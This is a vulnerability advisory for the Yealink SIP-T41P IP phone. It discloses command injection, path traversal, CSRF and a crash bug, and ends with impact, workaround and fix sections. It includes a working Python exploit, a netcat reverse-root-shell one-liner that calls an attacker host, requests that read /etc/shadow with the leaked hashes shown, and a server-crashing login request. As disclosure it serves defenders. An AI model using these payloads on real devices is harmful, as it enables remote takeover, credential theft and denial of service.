Fraunhofer SIT

1. Summary

Vendor: Yealink

Product: Ultra-elegant IP Phone SIP-T41P

Affected Version: Firmware 66.83.0.35

CVSS Score: 8.0 (High)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/CR:H/IR:H/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The firmware of the Ultra-elegant IP Phone SIP-T41P contains several vulnerabilities, which would allow an attacker to control the device by injecting arbitrary OS commands via Web-Requests. The attacker only has to be in the same network and authenticated to the phones web server.

Command injection (vulnerability 1):

The web interface contains a diagnostic function ("Network" – "Diagnostics") which can ping a host address. For pinging, the user input is forwarded to a diagnoses.sh script. Because of a missing sanitization and input verification an authenticated attacker can inject arbitrary system commands by appending it with a ";" at the end of the input value. The command injection and the fact, that the webserver is running as root will allow an attacker to establish a reverse root shell and get full control over the phone.

The following python script will establish a reverse root shell:

```
import requests
import json
import urllib
import os
import sys
import pprint

from html5print import HTMLBeautifier

def get_post_fields(session_id):
    return {
            'Host': '10.148.207.216',
            'Cookie' : 'JSESSIONID={}'.format(session_id),
            'Proxy-Connection' : 'keep-alive',
            'Connection': 'keep-alive',
            'Origin': 'http://10.148.207.216',
            # Content-Length
            'User-Aget' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/64.0.3282.24 Safari/537.36',
            'Content-Type' : 'application/x-www-form-urlencoded',
            'Accept' : '*/*',
            'Referer' : 'http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis&q=load',
            'Accept-Language' : 'en-gb'
            }

if __name__== "__main__":
    # Set destination URL here

    if len(sys.argv) != 4:
        print("Missing arguments")
        print("Usage: python3 command_injection.py [session-id] [token] [bash-payload]")
        sys.exit()
```

```
    url_yealink = 'http://10.148.207.216/servlet?m=mod_data&p=network-
diagnosis&q=docmd&Rajax=0.3418211390933281'

    session_id = sys.argv[1]
    token = sys.argv[2]
    command = sys.argv[3]

    payload = "cmd=start ping www.google.de;{}&token={}".format(command, token)
    print("Session-ID: {}, Token: {}, Command: {}".format(session_id, token, command))

    result = requests.post(url_yealink, data=payload, headers=get_post_fields(session_id))

    print(HTMLBeautifier.beautify(result.content, 4))
```

Executing the script with the following example values will establish a reverse shell to a listening netcat process (`nc -nlvp 9000`):

```
python3 inject_command.py 30e2d716a6840 84693088640d4e990 "mknod /tmp/pipe
p; /bin/sh 0</tmp/pipe | busybox nc 10.148.207.227 9000 1>/tmp/pipe"
```

Path-Traversal (vulnerability 2):

Different input fields in the web interface are not sanitized correctly. Further the servlet did not verify or escape injected commands. The following POST-request ("Network" – "Diagnostics" section) will do a path traversal and send the content of the stored passwords. The original file value (ping) is replaced with an injection:

```
POST http://10.148.207.216/servlet?m=mod_data&p=network-
diagnosis&q=getinfo&Rajax=0.5174477889842097 HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 53
Origin: http://10.148.207.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/64.0.3282.24 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://10.148.207.216/servlet?m=mod_data&p=network-
diagnosis&q=load
Accept-Language: en-gb
Cookie: JSESSIONID=3b73d6390697f50
Host: 10.148.207.216


file=../../../../../../../etc/shadow&token=42423833540d4e990
```

The response (see example) is the output of the shadow file.

```
<html>
<body>
<div id="_RES_INFO_">
root:$1$.jKlhz0B$/Nmgj0klrsZk0nYc1BLUR/:11876:0:99999:7:::
toor:$1$6sa7xxqo$eV3t7Nb1tPqjOWT1s3/ks1:11876:0:99999:7:::
</div>
</body>
</html>
```

The access to the shadow file is possible because the webserver is running with root privileges.

Cross-Site-Reqest-Forgery (CSRF) (vulnerability 3):

The webserver has no protection against CSRF. By clicking on a predefined link (by an attacker) there will be executed/ triggered commands concerning web setting. The following example link will trigger the output of the password file `(/etc/shadow)`.

```
http://10.148.207.216/servlet?m=mod_data&p=network-
diagnosis&q=docmd&Rajax=0.3351665469213275&cmd=start%20ping%20127.0.0.1;cat
%20/etc/shadow&token=783368690be8ed750
```

Webserver-Parsing error (weakness 1):

The Webserver uses a PKI System for securing the user credentials. An invalid character in the `rsakey` parameter value (e.g.";") will cause a crash of the web server. The following POST-request example will show such an invalid key string:

```
POST
http://10.148.207.216/servlet?m=mod_listener&p=login&q=login&Rajax=0.191941
64321464102 HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 631
Origin: http://10.148.207.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/64.0.3282.24 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer:
http://10.148.207.216/servlet?m=mod_listener&p=login&q=loginForm&jumpto={%2
2m%22:%22mod_data%22,%22p%22:%22network%22,%22q%22:%22load%22}
Accept-Language: en-gb
Cookie: JSESSIONID=30e2d41989e930
Host: 10.148.207.216



username=admin&pwd=RIrHFSTXvF6zKqdO0DCgm1OIjRaRbCpR33fOw4T29h4X83luf%2BaBhZ
388vJLNltK&rsakey=19ecca659a1c4ddcfe9f0f74533f0611b947e1272d7db21378a4b83e6
22ad412a7413b78727a56445439712a80c3f187d18d3be37b5938e276f9da88d888a4853137
cd1788f2782d8af7e5d0eed76d734c0bb4688c096a07b02c7592af80e7c693e0e2730c56614
6dde8489f0f60f0ac60919d743e8a1d773dd9f5e1b1f15df3;;;;;;;;;%aadskd304&rsaiv=
1e0946089bd855a555e0ae45150b5a1a5cf82c83d3a93718ee6a1241d344de7efe4d590fb22
c01ace587812ff06385e8cf85fba79412da135a9cb9ed4c149103094aecdcef627d888c00f5
c0f52b07b6fa2c6df56d856f28d7d1efd2f9e4dbdab021100414603a8306c60111febc1c396
daa7ab6e984db2ba5ac49b67abfbd3a
```

See the ";;;;;;" string in the `rsakey` value.

2. Impact

Remote root shell and code execution:

If an attacker can some get knowledge about the login credentials or the device still has the standard credentials, he can trick someone to klick on a special prepared link which (CSRF vulnerability 3) to trigger the establishment of a reverse root shell (vulnerability 1).

Denial of Service, killing the webserver:

An attacker can kill the webserver by sending a POST request as described in weakness 1. The web server will crash and the phone has to be rebooted (power-off) for restarting the webserver and getting access to the web server.

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people.

4. Possible fix

Implementation of sanitization checks. All external input must be verified and rejected/ sanitized before it will be handed over to the shell script (`Diagnostics.sh`). The servlet has to check the input because the `.sh` script is not able to do this in the right manner. Additionally the web server should not run with root privileges, it should run in restricted user mode. Else every break or successful injection attack will run with root privileges.

Further the `rsakey` values have to be checked before parsing or processing the values.